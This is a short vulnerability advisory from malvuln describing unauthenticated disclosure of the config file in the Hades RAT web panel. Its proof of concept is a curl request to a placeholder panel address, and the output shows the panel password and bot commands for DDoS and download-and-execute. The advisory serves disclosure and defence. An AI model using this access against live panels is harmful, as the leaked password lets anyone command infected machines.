Hades RAT Web Panel Information Disclosure Vulnerability

Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Information Disclosure
Description: The Hades Rat web-panel listens on Port 80. There is no authentication check or default .htaccess file protecting the root directory. Third-party attackers who can reach the web-panel can read the INI file disclosing the password.
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: a117b7fa4691b766dd5aa6455438fded (strings.ini)
Vuln ID: MVID-2022-0513
Disclosure: 03/13/2022

Exploit/PoC:
C:\>curl http://HADES_RAT_IP/WebPanel/strings.ini
[identifiant]
mdp = "megapass"

[strings]
error_mdp = "Error Password False..."

form_mdp = "Please put your password."
form_valid = "Send !"

com_header = "Write your commands for your bot(s)"
com1 = "DDOS Commands (ex: 127.0.0.1)"
com2 = "Download / Execute Commands (ex: http://www.site.com/dl.exe)"
com3 = "Stop DDOS or Restart Commands (ex: Restart)"

titre = "Hadès RAT - WebPanel"

[images]
header = "images/header.png"
header_mdp = "images/lock.png"
C:\>